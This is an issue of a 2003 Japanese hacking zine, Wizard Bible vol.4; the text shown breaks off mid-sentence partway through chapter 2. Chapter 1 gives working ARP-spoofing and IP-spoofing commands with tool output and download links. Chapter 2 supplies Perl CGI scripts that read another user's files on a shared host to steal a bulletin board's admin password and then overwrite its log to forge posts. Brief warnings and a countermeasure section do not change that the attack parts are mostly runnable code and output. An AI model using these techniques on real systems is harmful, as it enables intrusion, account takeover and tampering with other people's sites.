[-]=======================================================================[-] Wizard Bible vol.4 (2003,10,14) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章:IPスプーフィングの考察 unya 著 ○第2章:内部ユーザからの掲示板改竄とその対策 PaiN 著 ○第3章:趣味と実益のWinny破壊 trinisic 著 ○第4章:XDCC hack npyu 著 ○第5章:ソーシャルエンジニアリングとターゲッティング D 著 ○第6章:学校や会社での雑談ぐらいにしか使えないexploitの知識 barussa 著 ○第7章:VBScript入門 〜コンピュータウイルスを作るのは難しいのか?〜 Kenji Aiko 著 ○第8章:WinMX Tips 3 黒猫 著 ○第9章:アタッカーのためのアカウント入門 IPUSIRON 著 ○第10章:お知らせ ○第11章:著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: IPスプーフィングの考察 --- 著者:unya x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに IPスプーフィングというと、1994年にケビン・ミトニックがこの手法で下村努 のコンピューターをクラックした事件が有名です。この巧妙なクラック技術は、 現在の多くのシステムが実装しているランダムなシーケンス番号生成方法の前で は、実行が困難となっていますが、逆を言えば、シーケンス番号さえ分かるなら ばスプーフィングが可能という事になります。という訳で、今回はこれを実証す るため、ちょっと変わったIPスプーフィングの実験を行います。 ■0x02.) 実験 この実験は閉ざされたLAN(Local Area Network)内で行います。目的は、自分の IPアドレスを欺いてHTTPサーバーへ接続(実際には接続しない)、トップページを 取得するというものです。送信元アドレスはLAN内に接続されているホストで、こ のホストとHTTPサーバー間を一時的に通信不能にしてIPスプーフィングを行いま す。なぜ、通信不能する必要があるのかというと、通信不能にせずIPスプーフィ ングを行うと、送信元ホストがRST(リセット)パケットをHTTPサーバーに送信して しまい、コネクションがリセットされてしまう為です。DOSアタックがIPスプーフ ィングの前兆と言われるのはこのためです。では、IPスプーフィングを行う手順 を説明します。 まず、ターゲットのHTTPサーバーへARPスプーフィングを実行して、送信元ホス トとの通信を一時的に不能にします。次に、HTTPサーバーのポート80番へSYNフラ グを立てたパケットを送信します。サーバーのポート80番が開いていれば、ACK+ SYNで応答してくるので、3ウェイ・ハンドシェークの最終段階を実行してコネク ションを確立させます。そのあと、GETコマンドを送信して 目的のファイルを取 得します。この実験はスイッチで切られていないネットワーク、つまりダムハブ で接続されたネットワークを使用します。これは、通常の手法ではスイッチング ハブを使用すると、自分宛てでないパケットを補足できないからです。技術的に は、スイッチングハブを使用してもパケットの補足は可能なのですが、これを始 めると更に別の手順を踏む必要があるので、それについては別の機会に行いたい と思います。 さて、IPスプーフィングを行うはずなのに、ARPスプーフィングなんてのが出て きて疑問を感じた方もいるでしょうから、パケットがネットワーク内に流れる過 程を簡単に説明します。 ホスト"hoge.com"へHTTPクライアントで接続すると仮定しましょう。まず、"h oge.com"のホスト名を解決するためにgethostbyname(3)を呼び出してホスト名の 解決を試みます。ホスト名を解決したら、TCPへ宛先IPアドレスとのコネクション の確立を要求します。今回のように宛先ホストがローカルネットワーク内に接続 されているならば、パケットを直接宛先ホストへ送信します。ここで、Ethernet で接続している場合、IPアドレスをEthernetアドレスへ変換させる必要がありま す。IPアドレスとEthernetアドレスの組み合わせをARPキャッシュで検索し、見つ からないならばネットワーク内にARP要求を送信して解決を行います。 ARPは確認応答の必要がないので、比較的簡単にスプーフィングが行えます。し かし、簡単といってもその影響は大きく、ネットワーク全体を通信不能する事も 可能な、かなりアブナイものです。今回のARPスプーフィングは、ブロードキャス トへ向けてHTTPサーバーのEthernetアドレス解決を行います。IPアドレスをスプ ーフィングに使用する送信元アドレスに設定して、Ethernetアドレスを架空のア ドレスにします。ARP要求を受け取ったHTTPサーバーは、偽の要求に反応して送信 元アドレスのEthernetアドレスを架空のアドレスに更新します。HTTPサーバーは 更新された架空のEthernetアドレスと通信を行おうとするため、通信不能となっ てしまいます。 試してみましょう。実験用に作成した"fakearp"を使用して、192.168.64.1 と192.168.64.5間の通信を妨害してみます。まずはarpテーブルを確認しましょう。 ----- 192.168.64.5側 C:\>arp -a Interface: 192.168.64.5 on Interface 0x1000003 Internet Address Physical Address Type 192.168.64.1 00-0a-79-27-c6-d2 dynamic C:\> -----  この状態で192.168.64.1にPingを飛ばすと、正常に反応がある事を確認出来ま す。 ----- C:\>ping 192.168.64.1 Pinging 192.168.64.1 with 32 bytes of data: Reply from 192.168.64.1: bytes=32 time<10ms TTL=64 Reply from 192.168.64.1: bytes=32 time<10ms TTL=64 Reply from 192.168.64.1: bytes=32 time<10ms TTL=64 Reply from 192.168.64.1: bytes=32 time<10ms TTL=64 Ping statistics for 192.168.64.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms C:\> -----  192.168.64.1のEthernetアドレスを"aa-bb-cc-dd-ee-ff"に更新させて192.168 .64.1との通信を不能にします。 ----- # fakearp 192.168.64.5 -shw aa:bb:cc:dd:ee:ff -spa 192.168.64.1 -i eth1 -----  このコマンドを実行するとARPテーブルが更新されます。 ----- 192.168.64.5側 C:\>arp -a Interface: 192.168.64.5 on Interface 0x1000003 Internet Address Physical Address Type 192.168.64.1 aa-bb-cc-dd-ee-ff dynamic C:\> -----  この時点で、192.168.64.1と192.168.64.5間はARPキャッシュが切れるか、正し いアドレスに更新されるまで通信不能となり、Pingを飛ばしても返ってくる事は ありません。 ----- C:\>ping 192.168.64.1 Pinging 192.168.64.1 with 32 bytes of data: Request timed out. Request timed out. Request timed out. Request timed out. Ping statistics for 192.168.64.1: Packets: Sent = 4, Received = 0, Lost = 4 (100% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms C:\> -----  192.168.64.1がインターネットへのゲートウェイである場合、LANから出る事が 出来ずインターネットへの接続は出来なくなります。更に付け加えておくと、fak earpはデフォルトでは宛先ハードウェアアドレスがFF:FF:FF:FF:FF:FF(ブロード キャスト)のパケットを送信するので、このパケットを受け取った全てのマシンが 通信不能となる危険性があります。ピンポイントで行うには宛先ハードウェアア ドレスを指定して下さい。 今回はIPスプーフィングを目的としているので、ARPスプーフィングについては ここまでとして、偽のTCPコネクションを確立させる過程を追って行きます。 TCPは接続指向であるため、クライアント/サーバー間でコネクションの確立を 行います。コネクションの確立と再転送やフロー制御等をTCPレベルで行うためヘ ッダーサイズが20バイトと、UDPの倍以上ありますが信頼性を保証します。IP, TCP ヘッダーは次のような構成になっています。 IPヘッダー(RFC791から抜粋) 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ TCPヘッダー(RFC793から抜粋) 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  コネクションの確立を行うには、まず宛先ホストの接続したいポートへSYNフラ グを立てたパケットを送信します。ポートが開いているならば、ACK+SYNで応答し てくるので、ACKフラグを立てたパケットを送信してコネクションを確立させます。 分かり易く説明すると、次のような行程となります。 Client Server + + | | |seq: 1000, ack: 0(SYN) | +-------->-------->-------->-------->-------->-------->-------->>> | | | seq: 5000, ack 1001(ACK+SYN)| <<<--------<--------<--------<--------<--------<--------<--------+ | | |seq: 1001, ack: 5001(ACK) | +-------->-------->-------->-------->-------->-------->-------->>> | | + +  クライアントはシーケンス番号に1000を設定して接続要求を出しています。こ れに応答するサーバーはシーケンス番号に5000を設定して、確認応答番号にクラ イアントの設定したシーケンス番号に1を足した1001を設定して応答します。最後 にクライアントはサーバーの設定した確認応答番号ををシーケンス番号に、シー ケンス番号に1を足した5001を確認応答番号に設定して、パケットを送信します。 このパケットをサーバーが受け取った時点でコネクションが確立します。このよ うに3段階に渡ってやり取りを行うため、「3ウェイ・ハンドシェーク」や「3ステ ップ・ハンドシェーク」などと呼ばれます。  実験に使用するネットワークの構成は次のようなものです。 攻撃者 [192.168.64.3]-------------------[HUB] | | | | HTTPサーバー [192.168.64.5]--------------------+ +------[192.168.64.4] 偽装されるホスト  192.168.64.4では、HTTPサーバーとしてApacheが動作しており、トップページ のindex.htmlには次のような内容のファイルを用意しました。 ----- index.html ヽ(´ー`)ノ<よっ!成功かい? -----  まず、192.168.64.4へARPスプーフィングを実行して192.168.64.5との通信を不 能にしておきます。このコマンドを実行すると、HTTPサーバーは192.168.64.5と 通信が出来なくなります。 ----- [r00t@192.168.64.3]# fakearp 192.168.64.4 -spa 192.168.64.5 -shw 00:fe:7f:1c:86:fa -i eth1 -----  次にIPスプーフィングを実行して、サーバーへの接続・トップページの取得を 試みます。  勿論、実際に接続する事はありません。偽の接続です。 ----- [r00t@192.168.64.3]# ./hs http://192.168.64.4/ -s 192.168.64.5 phase 1 - Send SYN to 192.168.64.4 (seq 0x42e7ffd5 ack 0x0)... Success phase 2 - Recv ACK from 192.168.64.4... Success (seq 0x779c8f1e ack 0x42e7ffd6) phase 3 - Send ACK to 192.168.64.4 (seq 0x42e7ffd6 ack 0x779c8f1f)... Success phase 4 - Send GET to 192.168.64.4 (seq 0x42e7ffd6 ack 0x779c8f1f)... Success HTTP/1.1 200 OK Date: Thu, 02 Oct 2003 07:40:40 GMT Server: Apache/1.3.27 (Unix) Last-Modified: Wed, 01 Oct 2003 16:46:11 GMT ETag: "7cf4e-2d-3f7b04d3" Accept-Ranges: bytes Content-Length: 45 Connection: close Content-Type: text/html ヽ(´ー`)ノ<よっ!成功かい? phase 5 - recved FIN phase 6 - Final, send ACK|FIN to 192.168.64.4... Success -----  トップページが取得出来たので、HTTPサーバー上でログファイルを確認して、 アクセスしてきたアドレスを調べてみます。 ----- [r00t@192.168.64.4]# cat access_log 192.168.64.5 - - [02/Oct/2003:16:40:40 +0900] "GET / HTTP/1.0" 200 45 -----  192.168.64.5がリモートホストとして記録されています。次にnetstatで送信元 アドレスが偽装出来ている事を確認しましょう。 ----- [r00t@192.168.64.4]# netstat -an Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 192.168.64.4.80 192.168.64.5.38892 TIME_WAIT tcp 0 0 *.80 *.* LISTEN tcp 0 0 *.23 *.* LISTEN tcp 0 0 *.21 *.* LISTEN udp 0 0 *.1013 *.* Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr c084a000 dgram 0 0 c3e09804 0 0 0 /var/run/log ----- このように、簡単にアドレスを偽装出来る事が確認出来ました。これは何もHT TPに限らず、他のプロトコルでも実行可能で、たとえTcpwrapperやファイアウォ ールで保護していても、許可しているアドレスさえ分かれば容易に突破出来るこ とは想像に固くないでしょう。これは明らかにセキュリティーホールであり、IP アドレスで認証を行う危険性を表しています。 ■0x03.) プログラム 使用したテストプログラムは以下のURLからダウンロード出来ます。コンパイル ・実行はこれを書いている時点ではLinux/NetBSDで確認しています。fakearpは/d ev/bpf* が存在するならば、多少修正するだけでコンパイル可能だと思うので、失 敗した方は自分で修正してください。このプログラムは簡単に実行出来ますが、場 合によってはネットワークに大きな影響を与えかねないので、十分に注意して下さ い。httpspoof(hs)は大抵のUnixでコンパイル・実行出来るはずなので、これも失 敗した方は自分で修正等を行って下さい。ちなみに、libpcapが必要です。 http://idzero.s35.xrea.com/release/tools/fakearp.html http://idzero.s35.xrea.com/samples/httpspoof.tgz ■0x04.) 終わりに 今回は馴染の少ないデータリンク層に触れているものの、十分に解説が出来てお らず、分かりづらい個所があると思います。Ethernetアドレス関連については、 Vol.1「MACアドレス再考」でIPUSIRONさんが解説しているので、そちらを参照して 下さい。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: 内部ユーザからの掲示板改竄とその対策 --- 著者:PaiN x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x00.) 初めに  この記事は2001年末-2002年5月辺りの1ヶ月間、私が某所に別の名前で掲載して いたものに手を加えたものです。もし、「あ、なんか見たことある!こいつパクッ たな!」と思っても、それを私にメールで送る必要はありません。  では、改めて。 昨今の掲示板荒らし集団増加により、BBSへの攻撃が増えています。  その殆どは誹謗中傷、連続投稿、XSSを利用した「ブラクラ」等ですが、希に乗 っ取られます。そう、掲示板を乗っ取られるのです。掲示板を乗っ取られた日に は気分最悪ですね。そこで今回は荒らし対策ではなく、掲示板の乗っ取り、改竄 とその対策を実例つきで書いていきたいと思います。  また、今回の内容は初級者、Windowsユーザ向けに書いたものですから、UNIXユ ーザの方に対しては適切な内容ではないと思いますので御了承ください。 ■0x01.) 注意  今回の実験を実際に再現すると犯罪となる可能性がありますので、真似しない ようにしてください。 ただ、私は貴方の体を制御することはできません。 ■0x02.) お話の設定  この話は基本的にフィクションですが、一部名称については真のものを使って います。 では、今回の設定を簡単に説明します。 ○登場人物1: mp123 (エムピーイチニーサン) http://snow.prohosting.com/mp123/の管理人。 今回のターゲット。普通の人。mp3を大量に所有する。趣味はパソコン。 ○登場人物2: w0tId (ワールド) http://snow.prohosting.com/suisyaz/の管理人。 mp123の掲示板を乗っ取ろうと企む人。初心者程度のPerlとUNIXの知識がある。 ○今回実験に使用したサーバ: snow.prohosting.com  本当は最弱多ユーザを誇るisw*bにしようと思いましたが、国内は警告がくると 恐いのでプロホスティングにしました。海外ならよいわけではないですが。 ○今回実験に使用した掲示板: K*NT WEB の L*GHT B*ARD v5.6 (一部伏字)  これは、この掲示板が悪いということでは全然ありません。むしろ素晴らしい BBSです。ですから、これを使っているユーザーが日本では一番多いと思い、この BBSを使わせて頂きました。 ■0x03.) 基礎用語とその説明 ●BBS (ビービーエス)  Web上に置かれた電子掲示板のこと。 ●CGI (シージーアイ)  Common Gateway Interfaceの略。Webのサーバサイドプログラム。  BBSやチャット等、サーバーに設置したプログラムが「サーバー側で実行」され、 実行結果をクライアントへ返す。 ●PERL (パール)  Larry Wall氏が開発したプログラミング言語。CGIは主にPerlで書かれている。 ●UNIX/Linux  OS。WEBサーバーはUNIX、Linuxが多い。 ●Permission (パーミッション)/* 最も重要 */  UNIX/Linuxでのファイルのアクセス権利。オーナー、グループ、その他の3つの 項目ごとに読み取り、書き込み、実行の3つの権限があります。  今回は、保護ビット、setuid/setgidビットについては説明しません。 /* 何のことか分からない場合は無視してよい */ ============================================================================= オーナー | ファイルの所有者(作成者) ----------------------------------------------------------------------------- グループ | オーナーと同じグループに所属するユーザ(ファイルの所有gidを持つ | ユーザ) ----------------------------------------------------------------------------- その他 | 上記以外のユーザ ============================================================================= ○rwxrwxrwx表記 r: 読み取り可能 w: 書き込み可能 x: 実行可能  パーミッションは上記のrwxで表記されることがあります。  「-rwxrwxrwx」を「-/rwx/rwx/rwx」と4つに分け、左の「-」除いて考えると、 左から「オーナー/グループ/その他」となり、この場合、全ての人に全ての権限 が与えられています。  例えば「-rwx------」なら、オーナー以外にファイルに触れる権利がありませ ん。 ○数値で表す  BBSを設置する際のパーミッション設定書には、「0755」「0666」などパーミッ ションが数値で書かれています。 ○計算法  「r → 4, w → 2, x → 1」としてオーナー、グループ、その他の順に並べま す。例えば「-rwxr-xr-x」ならば「-rwx/r-x/r-x」と、 3つに分けて「4+2+1/4+1/4+1」とし、「7/5/5」だから「755」というわけです。 (本当は8進数表記で他とかぶらないflagを使うため桁上がりしますが、分かりや すく、このように説明しました) ■0x04.) mp123編 - BBS設置 -  mp123君は、snow.prohosting.comのサーバにBBSを設置しようとしました。  BBSの設置の説明書には、 > public_html / index.html (トップページ) > | > +-- bbs / light.cgi [755] > | light2.cgi [755] > | light.log [666] > | jcode.pl [644] > | > +-- lock [777] / > | > +-- past [777] / ... 過去ログを生成する場合 とあり、また、 > ファイル名 アクセス権 light.cgi 755 light2.cgi 755 light.log 666 > jcode.pl 644 lockディレクトリ 777 pastディレクトリ 777 とあったため、その通りのパーミッションで設置しました。  ただ、mp123君はlogファイルを初期名のままにするとlogファイルがWebから取 得され、投稿者のIPアドレスや暗号化された削除パスワードが盗まれるという知 識を持っていたため、logファイルの名前を変えています。非常にいいことですね '-)  この説明書は別におかしいわけではありません。問題はサーバ側の設定にある のかもしれませんね。 ●現在掲示板の様子 [ URI: http://snow.prohosting.com/mp123/cgi-bin/light.cgi ] ----- [2] 無題 投稿者:ひひひ 投稿日:2002/05/25(Sat) 16:05  あひゃひゃひひひひひ [1] 無題 投稿者:管理人 投稿日:2002/05/25(Sat) 14:58  楽しい話,ごちゃごちゃ ----- ●まとめ(mp123編)  パーミッションに関して見ていきます。 「r: 読み取り可能」、「w: 書き込み可能」、「x: 実行可能」 「light.cgi: 755」、「light.log: 666」、「ディレクトリ: 777」  この辺りが重要です。 「light.cgi: 755」は、「-rwxr-xr-x」ですね。全てから読みことと、実行が 可能ですが、書き込めるのはオーナーだけです。 「light.log: 666」は「-rw-rw-rw-」で、全てから読み取り、書き込みが許可 されています。 「ディレクトリ: 777」は、「-rwxrwxrwx」と全てに全ての権限が与えられてい ます。  すでに危険そうな雰囲気ですね。 ■0x05.) w0tId編 - 攻撃 -  w0tIdはmp123の掲示板を乗っ取ります。ターゲットの掲示板はsnow.prohosting.com のサーバに置いてあります。そして、light.cgiのスクリプトには管理パスワード が平文で書いてあります。ですから、light.cgiのソースファイルが欲しいわけで す。  ちなみに、w0tIdはsnow.prohosting.comのアカウント思っています。つまり、 mp123と同じコンピュータのハードディスク上にファイルを置く事ができます。さ らにsnow.prohosting.comでは、CGIが許可されています。それはつまり、「実行 ファイルをサーバ上に勝手に置いて、それを遠隔地から実行できる」わけです( 嫌な言い方ですが)。 ●light.cgiのソースファイルを見る まず、light.cgiの絶対パスが必要です。  え?「http://snow.prhosting.com/mp123/cgi-bin/light.cgiだろ?」だって?  それはWebとしての絶対パスで、ハードディスク上の絶対パスではありません。  まず、ハードディスク上でのlight.cgiまでの絶対パスが必要です。 そこで以下のようなプログラムを書きました。 ----8<----8<----8<-- pwd.cgi --8<----8<----8<----8< #!/usr/local/bin/perl print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; print $ENV{SCRIPT_FILENAME}."\n"; ----8<----8<----8<-- cut cut--8<----8<----8<----8<-  このスクリプトをサーバー上で実行します。これは、実行したファイルまでの 絶対パスを取得するものです。system関数でfingerコマンドを実行するか、getp wnam関数が使えれば、すぐにユーザーのホームディレクトリが分かりますが、た ぶん使えないと思うので確実な方法でやります。 /usr/home/web/s/suisyaz/cgi-bin/pl/pwd.cgi という結果でした。これを元にlight.cgiの位置を予想します。 /usr/home/web/ まではたぶん同じです。そのあとのsはsuisyaz(ユーザー名)のsと考えます。 そう、/usr/home/web/[A-Za-z0-9_]/があると考えます。と、すれば、 /usr/home/web/m/mp123/cgi-bin/  というディレクトリ(フォルダ)に、light.cgiが置かれているということになり ます。 次に以下のようなプログラムを作りました。 ----8<----8<----8<-- opendir.cgi --8<----8<----8<----8< #!/usr/local/bin/perl print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; opendir(DIR, '/usr/home/web/m/mp123/cgi-bin/') or print $!; print $_."\n" foreach (readdir(DIR)); closedir(DIR); ----8<----8<----8<-- cut cut cut --8<----8<----8<----8<  このようなファイルをサーバーで実行させます。  これは、「/usr/home/web/m/mp123/cgi-bin/」ディレクトリ内のファイルリス トを表示させます。 ----- . .. jcode.pl kaiem.log light2.cgi light.cgi -----  という結果でした。ありましたね。ディレクトリが無いのでlock、pastは作っ てないようです。位置が分かったので読んでみましょう。 ----8<----8<----8<-- check.cgi --8<----8<----8<----8< #!/usr/local/bin/perl $file = '/usr/home/web/m/mp123/cgi-bin/light.cgi'; print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; print 'r' if (-r $file); print 'w' if (-w $file); print "\n"; ----8<----8<----8<-- cut cut --8<----8<----8<----8<  その前に、一応チェックしてみました。これはファイルが読めるなら'r'、ファ イルへ書き込めるなら'w'を表示するものです。 r と出ました。このファイルは読み込めます。読みましょう。 ----8<----8<----8<-- read.cgi --8<----8<----8<----8< #!/usr/local/bin/perl $file = '/usr/home/web/m/mp123/cgi-bin/ligth.cgi'; print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; open(FILE, $file); print while (); close(FILE); ----8<----8<----8<-- cut - cut --8<----8<----8<----8< これは$fileに指定したファイルの内容を全て表示させるものです。 以下は結果。 ----- #!/usr/local/bin/perl #?!?????????????????????????????????????????????????????????????????? #? LI*HT B*ARD v5.6 (2002/01/06) (伏字) #? Copyright(c) K*NT W*B 2002 (伏字) #? E-MAIL: ******************(伏字) #? WWW: ****************(伏字) #???????????????????????????????????????????????????????????????????? (長いので略) # ?C???O?p?}?X?^?p?X???[?h(”??p‰p?”??) $pass = 'sjeis'; (以下略) -----  文字化けしましたが読めました。w0tIdはmp123と同じグループのユーザーです。 ですから、755とグループからの読み込み許可が出ているので読めて当然です。 管理パスワードは sjeis ですね。取りあえず掲示板の管理人室へ入れるように なりました(他人のパスワードを不正に使用したら犯罪です)。 もう少し試してみましょう。 ●logファイル改竄 BBSのlogファイルを改竄してみましょう。 logファイルとは、掲示板に書き込んだ内容が保存されているファイルです。  BBSから書き込むのではなくて、自分のホームディレクトリに置いたスクリプト から、logファイルに直接書き込みます。 logファイルの位置は、 /usr/home/web/m/mp123/cgi-bin/kaiem.log でしたね。書き込めるかチェックしてみましょう。 ----8<----8<----8<-- check.cgi --8<----8<----8<----8< #!/usr/local/bin/perl $file = '/usr/home/web/m/mp123/cgi-bin/light.cgi'; print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; print 'r' if (-r $file); print 'w' if (-w $file); print "\n"; ----8<----8<----8<-- cut cut --8<----8<----8<----8< さっきlight.cgiの読み取りチェックしたもの同じです。 rw と出ました。書き込みできるそうです。  書き込む前に投稿記事のフォーマットが知りたいので、一度kaiem.logを読み取 ってみます。 ----8<----8<----8<-- read.cgi --8<----8<----8<----8< #!/usr/local/bin/perl $file = '/usr/home/web/m/mp123/cgi-bin/kaiem.log'; print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; open(FILE, $file); print while (); close(FILE); ----8<----8<----8<-- cut - cut --8<----8<----8<----8< light.cgiを読み込んだのと同じものです。 以下は結果。 ----- LIGHT<>Light Board<>008080<>6<>MS Pゴシック<><>F5F5F5<>000000<>0000FF<>800080<>FF0000<>../index.html<>100<>green<>blue<><><> 2<>2002/05/25(Sat) 16:05<>ひひひ<><>無題<>あひゃひゃひひひひひ<><>168.143.113.102<><> 1<>2002/05/25(Sat) 14:58<>管理人<><>無題<>楽しい話<><>168.143.113.109<><> ----- 読めましたね。フォーマットは、 ----- 投稿番号<>投稿日<>名前<>??<>題名<>本文<>??<>投稿者のIPアドレス<>??<> ----- なので、 ----- 3<>6969/69/69(x0x) 69:69<>w0tId<><>Crack.<>Haa..Haa..<><>696.969.696.969<><> -----  と、こんな感じの記事を追加しましょう。  よく見ると、BBSのタイトルや色の設定などもファイルにありますから、掲示板 の設定も変更可能ですね :-) では、実際に以下のようなスクリプトで書き込んで見ましょう。 ----8<----8<----8<-- write.cgi --8<----8<----8<----8< #!/usr/local/bin/perl $file = '/usr/home/web/m/mp123/cgi-bin/kaiem.log'; open(FILE, ">$file"); print FILE <<____EOT; LIGHT<>Light Board<>008080<>6<>MS Pゴシック<><>F5F5F5<>000000<>0000FF<>800080<>FF0000<>../index.html<>100<>green<>blue<><><> 3<>6969/69/69(x0x) 69:69<>w0tId<><>Crack.<>Haa..Haa..<><>696.969.696.969<><> 2<>2002/05/25(Sat) 16:05<>ひひひ<><>無題<>あひゃひゃひひひひひ<><>168.143.113.102<><> 1<>2002/05/25(Sat) 14:58<>管理人<><>無題<>楽しい話<><>168.143.113.109<><> ____EOT ; close(FILE); print "Content-Type: text/plain\x0d\x0a\x0d\x0a"; print "write\n"; ----8<----8<----8<-- cut - cut --8<----8<----8<----8<  これは完全なログファイルの置き換えです。この方法だと完璧なIPアドレスの 偽装ができるので、仲間内の犯行に見せかけることもできますね。  多分書けていますので、掲示板を見に行って見ましょう。 ●mp123の掲示板 ----- [3] Crack. 投稿者:w0tId 投稿日:6969/69/69(x0x) 69:69 Haa..Haa.. -------------------------------------------------------------------------------- [2] 無題 投稿者:ひひひ 投稿日:2002/05/25(Sat) 16:05 あひゃひゃひひひひひ -------------------------------------------------------------------------------- [1] 無題 投稿者:管理人 投稿日:2002/05/25(Sat) 14:58 楽しい話,ごちゃごちゃ ----- きちんと書き込めていますね。成功です。 確認のため、手に入れたパスワードを使い、管理人室に入ってみましょう。 (他人のパスワードを使ったら犯罪です) ●管理モード -----  編集する記事をチェックして編集ボタンを押して下さい。 CHK 投稿日 題名 なまえ メール コメント 3 6969/69/69(BOM) 69:69 Cracked. HeII0 Haa..Haa.. [696.969.696.969] 2 2002/05/25(Sat) 16:05 無題 ひひひ あひゃひゃひひひひひ [168.143.113.102] 1 2002/05/25(Sat) 14:58 無題 管理人 楽しい話 [168.143.113.109] ----- きちんとIPアドレスも偽装できてますね。 おしまい。 ■0x06.) CGI実行の考え方と改竄対策方法 なぜこのようなことになったのか考えてみましょう。  理由は簡単、設置の時点で設置者が改竄できるような設定をしているのです。 では、どう設定するのが好ましいのか?これには、UNIXやCGIの基礎的な知識が必 要です。  「んなもんいらんから、はよ教えろ!!」という方は[0x07]へ進んで下さい。 「なんか、この下にやけに書き込んでいるが暇だから見てやろう」と思う方は以 下の長文を読んでくださいませ。 ●なぜCGI製作者は実行ファイルを755、ログファイルを666と書くのか?  これは彼らの正しい判断で、彼らが間違っているわけではありません。サーバ によってはグループからのアクセス権を消すと、CGIが動作しなくなることがあり ます。そこで、「確実」に動作するように755、666等とパーミッション設定書に 書いているのです。  では、どこでそれを判断するのでしょうか。この話を進める上で重要なキーワ ードとなるのが、「ユーザ権限とプロセス」「suEXEC」です。 ●ユーザ権限とプロセス  マルチユーザOSとして開発されたUNIX/LINUXは、Windows98には無い(薄い?)ユ ーザ間のセキュリティが意識されています。例えばAとB、二人のユーザがいたと し、Xというプログラムがあったとします。AがXを実行した場合「XはAの権限で動 